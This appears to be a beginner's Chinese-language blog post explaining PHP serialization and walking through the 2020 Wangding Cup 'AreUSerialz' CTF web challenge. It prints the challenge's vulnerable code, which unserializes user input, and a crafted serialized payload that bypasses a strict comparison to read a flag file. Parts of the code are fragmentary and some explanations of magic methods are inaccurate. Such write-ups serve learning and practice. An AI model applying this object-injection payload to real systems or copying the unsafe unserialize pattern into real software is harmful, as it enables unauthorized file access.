序列化与反序列化案例利用
web小白记录学习过程。后面再进行完善。
代码
定义
所谓序列化,就是将一个变量的数据转换为字符串(但是与类型转换不同)。其目的是将该字符串存储起来(存为文本文件),当在其他环境上运行时,可以通过反序列化,将其恢复。(一般用在数据需要存储的地方)
serialize() //将一个对象转换成一个字符串 类似加密码
unserialize() // 将字符串还原成一个对象 解码
想要反序列化,要先序列化。 要脱衣服首先要先穿衣服
serialize() flag 经过序列化变为 s:4:"flag" 4表示字符串的长度
如果是 longflag 经过序列化 ,则是 s:8:"longflag"
无类的序列化
直接按照上面的方法,将需要进行反序列的内容进行序列化进行处理即可
有类的序列化,这里的对象是person


在反序列的时候需要有这种关系

输出内容

2020-网鼎杯-青龙组-Web-AreUSerialz
CTF题目解析:
CTF比赛题目
链接->访问->前台->7ksan御剑扫描 -> 新链接->ctf.zip->下载->解压
有newflag.php和ctf2.php
其中第一个是幌子,第二个
看main入口,看里面的主要内容

调用反序列函数时会调用 wake_up 函数 ,但占不到,此函数执行完会执行 _construct 函数 (魔术方法)
对文件进行搜索


涉及的函数都找一下

和flag无关

想方法调用读函数。即控制参数为2
将涉及的类进行反序列化,重要的
因为
此函数如果将op改为2,会被修改为1
所有我们不能序列化为2,在前面加个空格,防止触发上面的if条件

进行反序列化

O:11:"FileHandler":3:{s:2:"op";s:2:" 2";s:8:"filename";s:11:"NewFlag.php";s:7:"content";s:2:"cs";}
进行访问


末端是flag
为什么不看newflag.php?
因为里面没有调用相关的函数,或者说有用的函数
看ctf2.php时前面为什么不看仔细?
没有提及 new Filehandler(),所以认为前面的内容没有被调用,从整体的代码的入口来决定之后的阅读走向/。
代码
newflag.php
ctf2.flag
process();
}
// 这个是重点2 【1就写 2就读(目的:让代码读取我的需求)】
public function process() {
if($this->op == "1") {
$this->write();
} else if($this->op == "2") {
$res = $this->read();
$this->output($res);
} else {
$this->output("Bad Hacker!");
}
}
private function write() {
if(isset($this->filename) && isset($this->content)) {
if(strlen((string)$this->content) > 100) {
$this->output("Too long!");
die();
}
$res = file_put_contents($this->filename, $this->content);
if($res) $this->output("Successful!");
else $this->output("Failed!");
} else {
$this->output("Failed!");
}
}
private function read() {
$res = "";
if(isset($this->filename)) {
$res = NewFlag::getFlag($this->filename);
}
return $res;
}
private function output($s) {
echo "[Result]:
";
echo $s;
}
// 这个是重点1
function __destruct() {
if($this->op === "2")
$this->op = "1";
$this->content = "";
$this->process();
}
}
function is_valid($s) {
for($i = 0; $i < strlen($s); $i++)
if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))
return false;
return true;
}
// 唯一触发 ctf2.php 的 地方
if(isset($_GET{'str'})) {
$str = (string)$_GET@['str'];
if(is_valid($str)) {
$obj = unserialize($str); // __wakeup
}
} // __destruct
?>









